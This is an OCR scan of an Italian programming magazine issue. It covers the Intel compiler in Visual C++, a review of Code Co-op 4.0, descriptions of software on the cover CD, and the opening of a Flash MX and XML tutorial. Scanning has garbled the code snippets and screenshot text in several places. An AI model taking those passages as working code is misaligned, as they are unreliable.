B [pi Benchmaik files 

B-£3 Source Files 

iti] Benchmerk.cpp 
-- Q Benchmark.ro 

»] ■■■ ■ . .■'■:■ 

- £) E labor azione, cpp 
;K1 M air Firn, cpp 

■:■: ! i : I i j i 

■■I] Slttofx.cpp 
É-QHeedei Files 

11 Benchmark.li 
■■■ j| BeiìchmarkDoc.h 
--I) BenchniarkVìew.h 
■■1 E labor azione, h 

S\ Mjit'i 1TÌ-: h 

- |y NumO per azioni h 
■■■ 1 Resrjurce.h 

Sj StdAfx.h 
É-Q ResoLirce Files 

M FleadMe.tKt 
+■ | E ylem al Depende noie 5 



UINT ElaboraDatil(LPTOID P Pa: 



: : HflitForSingleObject ( InisioCalcolol . m_hObject , INFINITE) ; 

volatile UINT t: 
volatile UINT ]. 
volatile UIHT kj 

Hatll = ne» double*[NumEleTn.entil] ; 
Matl2 = ne? double*[KumEleifLentil] ; 

Prodottol = new doublé* [HuinElenient i 1 ] : 
for Ci=D; i<Ha»Elsi]iBistil; i++) 



ii ( : :WaitForSiiiqli.=Ob;ect ; FiiisCalcolol . m_li0bj ect . 



, 



Matll[i] = : 

Hatl2[i] = : 
Prodottol [i 
Countl++. 



■ doublet NuraElement il]; 

■ double[KuKiElementil] j 
new double[NumElein.entil] ; 



Fìg. 2: Compilazione di un progetto attraverso l'utilizzo del compilatore Intel all'interno 
di Microsoft Visual C+ + . Nella finestra Build, in basso, possiamo notare la chiamata al 
compilatore (icl nomefile.cpp). 



Uso in simbiosi con Visual C+ + 






= 



*^.n-l->-i- 



QSe vogliamo che per l'intero progetto 
venga utilizzato il compilatore Intel 
C++ 7.0 per Windows, selezionare la voce 
Tools/Select Compiler e spuntare le casel- 
le che ci interessano (IA -32 e/o Itanium 
compiler). Così facendo Visual Studio uti- 
lizzerà il compilatore Intel per tutti i file. 






""■ "■"' '-"^ '- 



QPer escludere un file dalla compila- 
zione Intel, selezioniamo la voce 
Project /Settings; scegliamo il file e, nel 
tab C/C++, aggiungiamo la macro 
USE_NON_ INTEL_ COMPILER nel campo 
Prepocessor definitions. Visual Studio uti- 
lizzerà il proprio compilatore per quel fine. 



à sai fci- -■ -- rosw »P5s 


iki.« . .«1 


■ ! - 




. a «'""■"■ 


fi 


;'"™"|S^5^ 


~^ 3 1 


I 

ir 


ìrjSTX 


""'• — * f=- 3 


1'^ ^^_ a 






lei™ 


"T;^^zz^.^...^ 






»--l L.^.X» 


E.-H l«— IJ~=-I«<- 


Ij— i J .*,ia»«..iB=: 


»*HiS «» 



HSe vogliamo, al contrario, che l'intero 
progetto sia compilato normalmente 
e che il compilatore Intel agisca su un solo 
file, scegliamo il file e aggiungiamo la macro 
USE_ INTEL_COMPILER nel campo Prepo- 
cessor definitions. Il compilatore Intel verrà 
lanciato per la compilazione di quel file. 



22*** M 



g g 



3 



http ://www.itport al.it 



► ► ► ► ► ► ► ► ► ► ► IL SOFTWARE SUL CD 

Code-Co-op 4.0 



Sviluppa in team le tue applicazioni. 



Code Co-op 4.0 è un programma che 
consente di sviluppare applicazioni 
in C++, Java, HTML... Può funzionare 
in modalità distribuita senza la neces- 
sità di utilizzare un server. Supporta 
non solo la collaborazione tramite Lan, 
ma anche via e-mail. In tal modo è pos- 
sibile collaborare ad un progetto pur 
non risiedendo nella stessa area geogra- 
fica e, soprattutto, senza la necessità di 
installare un server! 




Youhave31: '.làtion period. 

license informalion now. or k*> ■ ■ : 
produci 



Yi&:HwS SeiiSÌ NlTi'jb-:: 



License Key (case sensitive]: 



Don'l show this dialog or staitop 
EnlerLicen; 



Boy Lic 



nlhaWEB | Keep Evaloaling | 



Fig. 1: Da questa finestra si può scegliere 
di utilizzare la versione trial del 
programma. 



Grazie all'uso di appropriati messaggi 
di posta elettronica, è possibile ottenere 
la sincronizzazione dei sorgenti persino 
tra postazioni che non sono costante- 
mente connesse in rete. Si integra con 
strumenti di sviluppo quali Microsoft 
Visual studio, Borland Delphi, C++ 
Builder, Allaire ColdFusion ed altre ap- 
plocazioni che utilizzano le API SCC 
della Microsoft. Appena si lancia l'ap- 
plicazione, compare la finestra rappre- 
sentata in Fig. 1. Per scegliere di utiliz- 



<£► Code Co-op 


Program Q History View Folder Ali Selection Help 


Files 1 ( 


Visir... . 

Repair 

Move... 

Add More Files... 


■■neh Area | History J Projects | 


<3|S| 


xU|Ha|tt| @H* 




i 


jJThere 


Join. . , 

Invite. . . 

Defe^t (Df 


. .. !•., ,v Pr... 




Members... 
Administrator... 


Properties. . . 







Select Project Files 



Total: G8 files selected 
File extensions — 




Showing files with eKtension '.cpp'. There are 24 files with this extension. 



C: VT estProjectWudioWudioFile. cpp 
estProjectWudioV^udioO ut. cpp 
i_. 1 1 estProjectWidio\BufferedD evice, cpp 
C: \T estProject WidkAFft. cpp 
C: VT estProject WidioM rnagePlayer. cpp 
estProjectWidio\OldV\udioln.cpp 
i_:\ i estProjectWidio\Old\SampleSink.cpp 
r- v T orfPm!»* ^ u dio\0 ItftS ampleS re. cpp 
Ujdio\Old\WaveFileln.cpp 
estProjectWudio\Wavi 
LAI estProjectWudio\Waveln.cpp 
C: \T estProjectWudio\WaveO ut. cpp 
'" ict\Control.cpp 

'rocedure.cpp 
I u:\i estrro|ec[\LiD\Active.cpp 
CATestProjectMJb^Controls.cpp 
| C:\TestProject\Lib\Dir.cpp 

rocedure.cpp 
I L:\l estPro|ect\Lib\Windass.cpp 
C: VT estProject\Lib\WinM aker. cpp 
ct\Main.cpp 



Select Ali 



DeselectAII 



0K 



Cancel 



Fig. 3: Un esempio dei tipi di file che si possono includere in un progetto. 



Fig. 2: Si crea un nuovo progetto dal 
menu. 



zare la versione trial, basta cliccare su 
"Keep evaluating" e verrà visualizzata 
la finestra principale. 



L'AMBIENTE 

Nella finestra principale di Code Co- 
op 4.0 sono presenti una barra dei me- 
nu, una barra degli strumenti e sei 
schede: File, Check-in Area, Mailbox, 
Synch Area, History e Project. Ognuna 
di esse consente di visualizzare infor- 
mazioni relative ai progetti correnti ed, 
eventualmente, di fare operazioni su di 



CREARE 

UN NUOVO PROGETTO 

Dalla finestra principale è possibile 
creare un nuovo progetto, cliccando su 
Project I New; quindi specificare il per- 
corso del file da aggiungere e poi,nella 
successiva schermata, la sua estensione 
(.cpp, .wav...). Nella parte sinistra del- 
la finestra corrente, si seleziona l'esten- 
sione del file e nella parte destra ver- 



Ll.iaffilAI«J!!!B^^^^^ 


l-lnlxl 


Program Project History View Folder AH Selection Help 




Files I check-in Area Mailbox | Synch Area | History Projects 


1 I |B|-B-|Qj 1 x|&|3a|tf| FSM 


Size | Glot 


Q Chad'sTest |a c ; , ; ; 5 elee t ed Fife i> -■ :-ltr-~t Otf.t; M;déVc 




IH lElBilH 


ijHII^B HfiflffldiiuEHEJ 


< 1 ►! 


Ready Fileis in current directory 



Fig. 4: Si aggiungono i file al progetto. 

ranno visualizzati tutti i file che si tro- 
vano nel path precedentemente specifi- 
cato e che hanno l'estensione selezio- 
nata. Se i file sono stati creati all'ester- 
no della directory di progetto di Co-op, 
bisogna includerli cliccando su "Add 
selected Files" dopo averli selezionati. 
A questo punto, i file fanno ufficial- 
mente parte del progetto. 



SCHEDA TECNICA 

Nome prodotto: Code Co-op 4.0 
Produttore: Reliable Software 
Web: www.relisoft.com 
Licenza: Shareware 
Prezzo: $159 per le prime 10 posta- 
zioni, $125 per la altre. 
File sul 1° CD: co-op. exe 



http ://www.itport al.it 



9 9 



3 ►►►23 



F T W A 



Mathcad 11 

Mathcad rappresenta da anni uno dei 
più diffusi software per il calcolo scien- 
tifico, utilizzato in tutto il mondo e a 
tutti i livelli. Coniugando semplicità e 
potenza, Mathcad si pone a metà strada 
fra un programma di calcolo ed un 
word processor orientato alla pro- 
duzione di testi scientifici. Le funzioni 
sono dunque tantissime ma, grazie ad 
un approccio sicuramente indovinato, 
anche i nuovi utenti riescono subito ad 
essere produttivi. Basta cominciare a 
digitare qualche formula per entrare in 
confidenza con il tool: possiamo posi- 
zionare il cursore su qualsiasi punto 
della pagina e, una volta scritta una 
equazione, la vedremo "vivere" sotto i 
nostri occhi! Le formule, che si riescono 
a scrivere proprio come faremmo con 
un foglio di carta ed una penna, non so- 
no quindi delle semplici scritte ma ten- 
gono conto dei valori assegnati, istante 
per istante, alle variabili presenti nelle 
formule stesse. Mathcad consente dun- 
que la risoluzione sia numerica che 
simbolica delle più complesse equa- 
zioni. 
Nel CD: Mathcad 

Fullxml 

Fullxml (http://wwiv.fulixml.com) è un 
software Open Source, rilasciato con li- 
cenza GPL, per il Content Manage- 
ment, scritto interamente in ASP e ba- 
sato su XML per l'organizzazione dei 
contenuti. Il progetto è stato varato nel- 
l'Ottobre del 2001; attualmente, dal sito 
Internet di John Roland, creatore del 
progetto, è possibile scaricare la versio- 
ne 2.3 beta, mentre l'ultima versione 
stabile è la 2.0.5. È a tutt'oggi pianifica- 
ta una versione 3 le cui novità più rile- 
vanti saranno un nuovo formato XML 
per il miglioramento delle performance 
ed il supporto ai più comuni database 
(MySQL, Access e SQL Server). Secon- 
do le parole di John Roland, Fullxml è 
un Web Portai System istantaneo. 
L'obiettivo è quello di avere un sito 
Web che automatizzi la distribuzione di 
notizie e contenuti. 
Nel CD: fullxml205.zip 

J2ME Wireless Toolkit 2.0 

Il supporto alla versione 2.0 di MIDP 

(http://wireless.java.sun.com/midp/arti- 
cles/midp20/) costituisce la prima, ma 
non certo l'unica, novità della versione 



2.0, che permetterà agli sviluppatori di 
usufruire di nuove feature come il sup- 
porto ad HTTPS, una serie di API (Ap- 
plication Programming Interfaces) per 
lo sviluppo di applicazioni multime- 
diali e giochi, miglioramenti apportati 
al layout delle form, la rappresen- 
tazione di immagini come array di inte- 
ri (che permette alle applicazioni MID, 
le cosiddette MIDlet, di manipolare di- 
rettamente le immagini, ad esempio 
applicando filtri numerici), la firma di- 
gitale del codice MID, un registro push 
che permette alle MIDlet di gestire con- 
nessioni di rete, il supporto per le suo- 
nerie e l'esecuzione di dati audio cam- 
pionati. Oltre agli strumenti base per 
creare e pacchettizzare applicazioni che 
fanno uso delle MIDlet, il toolkit forni- 
sce allo sviluppatore una serie di tool 
per settare i permessi sulle MIDlet crea- 
te, per applicarvi una firma digitale, e 
per lavorare con i domini di protezione. 
Gli utenti alle prime armi con lo svilup- 
po di applicazioni mobile apprez- 
zeranno la facilità d'uso dell'interfaccia 
grafica, laddove gli sviluppatori esterni 
usufruiranno di strumenti potenti per 
lo sviluppo ed il testing del codice 
MIDP. 

Nel CD: j2me_wireless_toolkit- 
l_0_4_01-bin-win.exe 

Code Co-op 4.0 

Code Co-op 4.0 è un programma di 
controllo versioni sorgenti per applica- 
zioni realizzate in C++, Java, HTML... 
Può funzionare in modalità distribuita 
senza la necessità di utilizzare un ser- 
ver. Supporta non solo la collaborazio- 
ne tramite Lan, ma anche via e-mail. In 
tal modo, è possibile collaborare ad un 
progetto pur non risiedendo nella stes- 
sa area geografica e, soprattutto, senza 
la necessità di installare un server! Gra- 
zie all'uso di appropriati messaggi di 
posta elettronica, è possibile ottenere la 
sincronizzazione dei sorgenti persino 
tra postazioni che non sono costante- 
mente connesse in rete. Si integra con 
strumenti di sviluppo quali Microsoft 
Visual studio, Borland Delphi, C++ 
Builder, Allaire ColdFusion ed altre ap- 
plicazioni che utilizzano le API SCC 
della Microsoft. Dal sito http://www.reli- 
soft.com/co_op è possibile scricare la ver- 
sione shareware di questo prodotto. 
Per scegliere di utilizzare la versione 
trial, basta cliccare su "Keep evatuating" 



e verrà visualizzata la finestra principa- 
le. 
Nel CD: co-op. exe 

Adobe FrameMaker 7.0 

Una soluzione per l'authoring ed il pu- 
blishing che tiene assieme la semplicità 
di un word processor con la potenza 
del linguaggio XML. La compilazione 
del testo può avvenire in un ambiente 
completamente WYSIWYG, già pronto 
per produzione di XML ben formato. 
La potenza e la flessibilità di Adobe 
FrameMaker lo rendono il programma 
di riferimento per le aziende che hanno 
necessità di pubblicare informazioni su 
canali diversi, tra cui XML, HTML, 
Adobe PDF (Portable Document For- 
mat) e SGML. Ideale per la gestione di 
testi complessi e lunghi, grazie alla ge- 
nerazione automatica e l'aggiornamen- 
to di indici, sommari, riferimenti in- 
crociati e collegamenti ipertestuali. 
Versione di valutazione valida trenta 
giorni. 
Nel CD: fm7_tryout 

Java 2 Development 
Kit 1.4.1 

L'ambiente di sviluppo Sun che negli ul- 
timi anni si è imposta come la prima 
scelta per i programmatori che lavorano 
in ambito multipiattaforma. In questa 
nuova release troviamo grandi mi- 
glioramenti sul piano delle performance 
e della scalabilità. In particolare, la con- 
nettività ha fatto un ulteriore passo 
avanti grazie a XML, CORBA, Ipv6 e al- 
la tecnologia JDBC 3.0. Tra le tante no- 
vità della Java 1.4 si segnalano le note- 
voli migliorie per tutto ciò che riguarda 
l'IO: buffer, gestione delle regular ex- 
pression, socket, channels e molto altro 
ancora. La minor release ha migliorato il 
supporto ai Web Services, la Virtual Ma- 
chine dispone di due nuovi Garbage Co- 
llector e sono stati risolti oltre 2000 bug 
che affliggevano la precedente release. 
Nel CD: j2se 

IntelliJ IDEA 3.0.2 

Un completo IDE per Java che si dimo- 
stra al contempo semplicissimo da uti- 
lizzare e potente come pochi altri. Tra le 
caratteristiche che differenziano questo 
ambiente di sviluppo rispetto ai con- 
correnti è il pieno sfruttamento della ta- 
stiera: pressoché tutti i comandi dispo- 
nibili sono raggiungibili, oltre che col 



24 ►►► M a g g 



3 



http ://www.itport al.it 



F T W 



mouse, attraverso una combinazione di 
tasti facilmente(l) memorizzabile. Tutti 
sappiamo quanto sia prezioso il tempo 
che si può risparmiare in questo modo. 
Altra vantaggiosa caratteristica di que- 
sto IDE è la possibilità di configurare al 
volo lo spazio video a nostra disposi- 
zione aprendo e chiudendo i vari pan- 
nelli di comando in modo rapido e 
semplice. In questa nuova versione, ri- 
sulta particolarmente interessante il 
supporto per J2EE: realizzare applica- 
zioni Web non è mai stato così sem- 
plice! Versione di prova valida trenta 
giorni. 
Nel CD: IntelliJ 

Ariacom Business 
Reports 2.0 

Un complesso ambiente per la gene- 
razione e la pubblicazione di report che 
può interfacciarsi con tutti i più diffusi 
database, grazie al supporto nativo per 
Access, Sql Server e Oracle, in aggiunta 
al classico ODBC. Anche gli utenti alle 
prime armi potranno sfruttare da subi- 
to questo software, grazie alla presenza 
di un Wizard per il collegamento alla 
base di dati. È possibile generare i re- 
port sia come semplici file, sia come 
e-mail o inviarli direttamente via fax. 
Gratuito. 
Nel CD: brfreel7.exe 

DBxq 3.1 

Un plancia di comando per gestire 
qualsiasi database all'interno di un am- 
biente semplice e coerente. E possibile 
compiere, con semplicità, tutte le più 
comuni operazione di creazione e ge- 
stione di database. Grazie ad una fun- 
zione di cache particolarmente ottimiz- 
zata, le operazioni di aggiornamento e 
ricerca risultano particolarmente velo- 
ci. Versione di valutazione valida quin- 
dici giorni. 
Nel CD: dbxq.exe 

Install-Us 
Professional 4.5 

I pacchetti di installazione che si posso- 
no creare con Install-us hanno un 
aspetto decisamente professionale e 
possono essere utilizzati per distribuire 
il nostro software su qualsiasi media: 
CD, Intrenet o semplici dischetti. E pre- 
sente una completa gestione della fun- 
zione di disinstallazione. 
Nel CD: iuse.zip 



IronEye SQL 1.0 

Attraverso un attento vaglio delle 
istruzioni SQL scambiate fra un'ap- 
plicazione ed un DB, IronEye consen- 
te di individuare i colli di bottiglia che 
pregiudicano le prestazioni dei siste- 
mi software progettati. Due sono i pa- 
rametri che più di tutti forniscono 
informazioni utili: le istruzioni SQL 
che impiegano più tempo ad essere 
eseguite e quelle che sono lanciate un 
numero eccessivo di volte. IronEye 
può servire per ottimizzare qualsiasi 
applicazione che utilizzi un driver 
JDBC e non richiede alcun cambia- 
mento nel codice. Versione di valuta- 
zione valida trenta giorni. 
Nel CD: IronEye 

Javelin 6.5.8 

Un piccolo e interessante ambiente di 
sviluppo che consente, per via grafica, 
di realizzare complesse applicazioni 
Java. Buona parte dello sviluppo può 
essere formalizzato secondo lo stan- 
dard UML, lasciando all'ambiente 
l'incombenza di tradurre lo schema in 
codice Java. La nuova versione di que- 
sto piccolo ambiente di sviluppo Java 
che non rinuncia a funzioni importan- 
ti come la compilazione "intelligente" 
che, in progetti che coinvolgono più 
file, tiene traccia delle modifiche effet- 
tuate ed effettua la compilazione solo 
sui file effettivamente modificati. Pur 
non rivaleggiando con i concorrenti 
più blasonati, Javelin rappresenta una 
soluzione che merita la nostra atten- 
zione. Versione di dimostrativa. 
Nel CD: javelw32.exe 

Peter's XML Editor 2.0 

Un editor XML particolarmente sem- 
plice e veloce che non rinuncia ad al- 
cune caratteristiche importanti come 
la possibilità di una doppia vista sui 
documenti: la classica vista ad albero 
che evidenzia la struttura delle infor- 
mazioni, e la vista del sorgente com- 
pleta di syntax-highlighting. 
Gratuito 
Nel CD: pxe.exe 

PremiumSoft MySQL 
Studio 4.4 

Un ottimo tool per la gestione grafica 
di database MySQL che si rivela di 
grande utilità nelle attività di monito- 
raggio e reporting connesse alla ma- 



nutenzione dei database. 
L'interfaccia è stata completamente ri- 
disegnata per offrire una migliore 
usabilità e semplificare tutte le più co- 
muni operazioni. Particolarmente in- 
dicato per gli sviluppatori Web ed i 
Web Masters. 

Versione di valutazione valida trenta 
giorni. 
Nel CD: pmstudio51trial.exe 

Resource Tuner 1.91 

Resource Tuner è uno strumento ec- 
cellente per esplorare le risorse conte- 
nute negli eseguibili: dialog box, me- 
nu, icone, figure, toolbar. 
Tutto ciò che rientra nell'interfaccia di 
un'applicazione Windows può essere 
visualizzato e modificato a piacimen- 
to. 

Trial version di trenta giorni. 
Nel CD: rtsetup.exe 

Visual Assist 6.0 

Un assistente per la scrittura rapida 
del codice: questo è lo scopo del tool 
che presentiamo. 

Visual Assist migliora le funzionalità 
dell'IntelliSense, velocizzando la vi- 
sualizzazione ed estendendo il sup- 
porto ai simboli e a numerose librerie. 
Un'altra utile funzione consiste nel 
sottolineare gli errori sintattici e con- 
testuali, immediatamente durante la 
scrittura del codice. Di facile appren- 
dimento, consente di essere da subito 
operativi senza che sia necessario im- 
parare nuovi comandi. 
Nella directory trovate anche la ver- 
sione per Visual Studio .NET. 
Versione di valutazione valida trenta 
giorni. 
Nel CD: VAssist 

XMLwriter 2.1 

Uno dei migliori editor XML presenti 
sul mercato in versione di prova per 
trenta giorni. In questo tempo potrete 
valutare la grande flessibilità e la sem- 
plicità di questo tool che conferma la 
sua validità anche come strumento di- 
dattico grazie alla piccola ma ben fat- 
ta guida XML. 

L'help sensibile al contesto e la capa- 
cità di convertire file XML in HTML 
attraverso fogli di stile XSL completa- 
no questo ottimo prodotto. 
Versione di prova valida trenta giorni. 
Nel CD: xmlwril2.zip 



http ://www.itport al.it 



9 9 



3 ►►► 25 



< ■* -* < ■* ■* -* < < ■* < -* < TEORIA E TECNICA 



Flash MX 

E XML: UN DIALOGO POSSIBILE 




Due tra le migliori tecnologie 

attualmente disponibili per gli 

sviluppatori possono finalmente 

dialogare. In questo articolo 

vedremo come. 



La diffusione del Flash Player, la potenza del lin- 
guaggio di programmazione di Flash Mx, la 
versalità del programma della Macromedia nel 
creare interfacce utente accattivanti e dinamiche, uni- 
to alla portabilità e alla semplicità d'uso dell'XML, 
donano agli sviluppatori molteplici possibilità per 
creare complete applicazioni facilmente aggiornabili. 
La scelta nell'utilizzo di tali tecnologia spazia dalla 
necessità di fornire all'utente nuove esperienze di na- 
vigazione alla possibilità di distribuire il prodotto su 
differenti piattaforme : internet, palmari, webtv, cellu- 
lari. Nell'articolo capiremo come Flash Mx interpreta 
e gestisce una fonte dati proveniente da un file XML e 
costruiremo una vera e propria applicazione in grado 
di generare un questionario i cui set di domande e ri- 
sposte sono svincolati dai contenuti e inseriti in file 
XML esterni. 



XML, PERCHE ? 

Con l'avvento della piattaforma .NET della Microsoft, 
di Coldfusion MX, dei WebServices, si fa sempre più 
pressante l'utilizzo dell'XML. Se ne sente parlare 
ovunque ma il suo successo è dovuto alla potenza del 
Web che rende possibile la comunicazione con chiun- 
que e in qualunque luogo. Questo ha richiesto uno 
standard, per la rappresentazione dei dati, che fun- 
gesse da veicolo per le transazioni aziendali, la condi- 
visione di dati provenienti da database e qualsiasi 
rappresentazione per lo spostamento di dati su Web. 
Tutto questo è consentito dall'XML, un metalinguag- 
gio per descrivere i dati in maniera strutturata ! Un al- 
tro enorme vantaggio è rappresentato dalla portabi- 
lità dei dati, che possono essere ricavati da qualsiasi 
fonte e gestiti indipendentemente dal server con un 
utilizzo di banda minimo. Ma per uno sviluppatore 
Flash, la cosa interessante è che permette di separare 
la presentazione prettamente grafica dai contenuti fa- 
cilitandoci l'aggiornamento dei dati. 
Utilizzare XML è comodo sopratutto perché mette a 
disposizione un flessibile e coerente framework, al- 
l'interno del quale i dati possono essere rappresentati 



con univoche proprietà semantiche, regole grammati- 
cali e relazioni. In pratica, l'XML è un modo di for- 
mattare dati assegnando loro una struttura. Bisogna 
però anche saper dosare il suo utilizzo, in quanto es- 
sendo scritto come un file di testo qualsiasi, eredita 
anche i suoi limiti. 

Per esempio, nel caso in cui la fonte dati XML subisca 
molti richiami (query) da parte del nostro software, 
dobbiamo sapere a priori che questo potrebbe rappre- 
sentare un problema per le performance della nostra 
applicazione, in quanto il file va ogni volta aperto, let- 
to e codificato dal programma. Riassumendo, usare 
XML permette di ottenere: 

1 . Ricerche più significative. 

2. Sviluppo di applicazioni Web più flessibili. 

3. Integrazione di dati di diverse origini. 

4. Computazione e manipolazione locale dei dati. 

5. Strutturazione organizzata dei dati. 

6. Facilità di aggiornamento e archiviazione dei 
dati. 

STRUTTURA 

DI UN DOCUMENTO XML 

Analizziamo ora un semplice file XML, cercando di 
definire alcuni concetti fondamentali. Partendo da 
questo file, arriveremo poi a crearne uno più com- 
plesso, parte del programma che svilupperemo. L'ap- 
plicazione gestirà un test di verifica con l'interfaccia in 
Flash Mx e la fonte dati (un set di domande /risposte) 
contenuta appunto in un documento XML. Dopo una 
veloce panoramica sulle potenzialità di XML cedia- 
mo come è formato un documento: 



<?xml version 


i="1.0"?> 


<UTENTI> 


<UTENTE> 


<NOME> 


Marco</NOME> 


<COGNOME> Casario </COGNOME> 


<EMAIL> 


mcasario@shocknet.it </EMAIL> 


</UTENTE> 


<UTENTE> 


<NOME> 


Marco</NOME> 


<COGNOME> Rossi</COGNOME> 


<EMAIL> 


mrossi@shocknet.it </EMAIL> 



Flash 

& XML 



^§> File sul CD 

soft\codice\Flash_XML.zip 



W File sul Web 

www.itportal.it/iop69 
/Flash_XML.zip 



Funzioni 
Ricorsive 

r* La navigazione di un 
~-J file XML si sposa 
perfettamente con il con- 
cetto di funzione o algo- 
ritmo ricorsivo.. In ter- 
mini generici una funzio- 
ne ricorsiva è una funzio- 
ne che durante l'esecu- 
zione richiama se stessa 
finché non si verificano 
determinate condizioni. 



http: //www. itport al.it 



g g 



3 ►►► 27 




</UTENTE> 



Flash 

& XML 



Flash MX 

e XML: un dialogo 
possibile 



</UTENTI> 

Questo è un semplice esempio di file XML che contie- 
ne una serie di elementi, e che rispetta tre regole fon- 
damentali: l'elemento è il contenitore di dati di un do- 
cumento XML; ogni documento deve contenere un 
root element; tutti i tag che strutturano i nostri dati 
devono essere chiusi. 
Nel nostro esempio : 

• <?xml version="1.0"?>: è la dichiarazione del tipo 
di documento che stiamo creando. Quando lavo- 
riamo con Flash Mx, non è necessaria ma è buona 
abitudine inserirla. Da notare che questo tag non 
ha chiusura in quanto non è un elemento. 





(?f) HinclLKhQàijEkH.as 




® fltelu*fe|rlDtbiij4$ 




(3j) Hi'PiluijNr.iStr-.nr.E-j.ai 




O Dtfìtfk* 




.* | lo'L'i-v^tur 




a J 'i-r-h,. 




i i v .i--L?bx:-:Ttn 




|'?i]| NfiS*r^M$. 




fS|| Hr*an4Srt 



Fig. 1: Gli oggetti di Flash Mx per il controllo 
remoto. 



mente tutte le azioni con l'XML. In particolare l'og- 
getto XML fa parte della libreria degli oggetti 
Client /Server di Flash Mx come possiamo vedere se 
apriamo la finestra delle Action. I metodi, le proprietà 
e gli eventi che lo compongono sono: 



<UTENTI>: è il root element. Contiene i sottoele- 
menti della nostra struttura dati. Il tag viene chiu- 
so alla fine. 



newXml: mi permette di creare un oggetto XML 
per poter poi chiamare i metodi del XML. La sin- 
tassi è quella classica di creazione di un oggetto: 



<UTENTE>,<NOME>, <COGNOME>, 
<EMAIL>: sono i sottoelementi che contengono i 
dati del nostro documento. I tag vengono chiusi 
alla fine. 



objXML = new XML(); 

da notare anche la posibilità di dichiarare in "li- 
nea" il contenuto del nuovo oggetto: 



RIA 

/-a II termine RIA sta 
*f& per Rich Internet 
Application e si riferisce 
ad un nuovo approccio 
alla progettazione di ap- 
plicazioni per il web e of- 
fline. In particolare que- 
ste nuova filosofia di 
pensiero si sostituisce 
alla vecchia concezione 
di sviluppo denominata 
"thin" (povera, magra) 
che prevedeva la costru- 
zione di applicazioni web 
attraverso tecnologie 
poco accattivanti come 
l'HTML o DHTML. LA MA- 
cromedia sta spendendo 
molte energie e risorse 
per abbracciare questa 
nuova concezione. Pote- 
te trovare molti articoli 
sull'argomento al se- 
guente indirizzo: 

http: //www, macromedia 
.com/devnet/ 



Prima di iniziare a vedere come far interagire Flash 
con il nostro documento XML, focalizziamo i seguen- 
ti punti: 

• gli elementi che compongono il nostro documen- 
to possono essere anche vuoti; 

• come per l'HTML anche gli elementi XML posso- 
no avere degli attributi (es. <NOME vdore=Mar- 
cox/NOME>); 

• i whitespace rappresentano tutti gli spazi, ritorni a 
capo, TAB nel nostro documento XML. Sono im- 
portanti perché per alcune versioni del flash 
Player, dobbiamo costruire un parser che li gesti- 
sca; 

• l'XML è case sensitive, cioè riconosce la differenza 
fra maiuscole e minuscole. 



IMPORTARE 

UN DOCUMENTO XML 

IN FLASH MX 

Abbiamo finalmente creato il file. A questo punto pos- 
siamo aprire il programma Macromedia Flash Mx e 
cominciare a capire come questo permetta di lavorare 
con file XML. Per utilizzare una fonte dati XML, Ac- 
HonScript (il linguaggio di programmazione di Flash 
Mx) deve prima poter interpretare la formattazione 
assegnata ai dati all'interno del file, e deve quindi 
aprirlo, leggerlo e parsarlo. Actionscript mette a di- 
sposizione un apposito oggetto per svolgere pratica- 



objXML = new XML("<UTENTExNOME> 

Marco</NOMEx/UTENTE>"); 

• Metodi oggetto XML: appenChild, cloneNode, crea- 
teElement, createTextNode, getByteLoaded, getByte- 
sTotal, hasChildNodes, insertBefore, load, parseXML, 
removeNode, send, sendAndLoad, toString; 

• Proprietà oggetto XML: attributes, childNodes, 
contentType, docTypeDecl, firstChild, ignoreWhite, 
lastChild, loaded, nextSibling, nodeName, nodeType, 
nodeValue, parentNode, previousSibling, status, 
xmlDecl; 

• Gli eventi: onData e onLoad. 

Ora apriamo Flash Mx e cominciamo a digitare un po' 
di codice. Creiamo un documento XML dal Notepad 
di Windows con la seguente struttura : 



<?xml version 


="1.0"?> 


<UTENTI> 


< UTENTE > 


<NOME> 


Marco</NOME> 


<COGNOME> Casario </COGNOME> 


<EMAIL> 


mcasario@shocknet.it </EMAIL> 


</UTENTE> 


<UTENTE> 


<NOME> 


Marco</NOME> 


<COGNOME> Rossi</COGNOME> 


<EMAIL> 


mrossi@shocknet.it </EMAIL> 


</UTENTE> 


</UTENTI> 



28 ►►► M a g g 



2 3 



http: //www. itport al.it 



TECNICA 



- SJxJ 



,3 Nuovo '•'■ -j "„> ìì~ iS: 



Ometti 


±1 


crea una tabella In YKualEzaetone Struttura 


Iff fatale | 




Crea una tabella mediante una creazione guidata 


i? Query 

S' '■'•■-■ li-I- 


Calendario 
Otta 


Report 


H 


|ew*f| 


Q fapnc 






*" M«rg 






: ; f ModiJi 






'm;o< 



Fig. 2: Creiamo un database Access con le tabelle 
calendario. Città e Corsi. 



Salviamo il file come Provai .xml e il nuovo documen- 
to flash con il nome provai .fla. A questo punto, nel pri- 
mo trame della Timeline, andiamo a istanziare il no- 
stro oggetto XML e a caricare con il metodo load il re- 
lativo file: 

objXML = new XML; 

objXML. load ("provai. xml"); 

Ovviamente, i due file devono risiedere nella stessa 
cartella. Eseguiamo il movie flash Control I Test Movie 
e dal menu Debug I List Variable apriamo la Output 
Window che contiene il nostro documento. Comincia- 
mo a specializzare il nostro codice gestendo l'evento 
onLoad che scatta subito dopo che Flash ha letto il con- 
tenuto del file XML da caricare con il metodo load: 

objXML = new XML; 

objXML. load ("provai. xml"); 

objXML. onLoad = caricato ; 

function caricato(esito) {d 

trace("II file xml è stato caricato"); } 

Il gestore di evento onLoad ritorna un valore booleano 
(true o false a secondo dell'esito della lettura del no- 
stro file). Con la riga di codice objXML.onLoad = cari- 
cato; abbiamo assegnato la funzione caricato all'even- 
to. 

function caricato(esito) { 

trace("II file xml è stato caricato"); } 

L'argomento "esito " ritorna true o false e ci dice in pra- 
tica se il file è stato caricato con successo. Per render- 
ci meglio conto facciamo un trace dell'argomento "esi- 
to": 



function caricato(esito) { 

trace(esito); } 

e nella finestra di Output ci comparirà true (se il file è 
stato caricato!). Ora però, miglioriamo la nostra fun- 
zione e stampiamo il contenuto del file XML in un 
campo testo. Inseriamo sul primo livello del movie 




Fig. 3: Definiamo tutti i campi della tabella 
Calendario... 



flash un campo testo di tipo dinamico e trasciniamo il 
component ScrollBar di Flash Mx a fianco al campo te- 
sto. Assegniamo, dalla Property Window, un nome di 
istanza al campo testo (ad esempio "txtXML"). Sem- 
pre dalla stessa finestra, selezionando il component, 
inseriamo il TargetText Field a cui verrà associata la 
scrollbar. A questo punto, riprendiamo la funzione 
lanciata dall'evento onLoad e modifichiamola in que- 
sto modo: 



function ca 


ricato(esito) { 






if (esito) { 


txtXML.text = objXML.toString(); 


} else { 


trace("Si 


e' verificato un 


errore"); 


} 


} 



Il codice è molto semplice ma analizziamo il blocco if: 
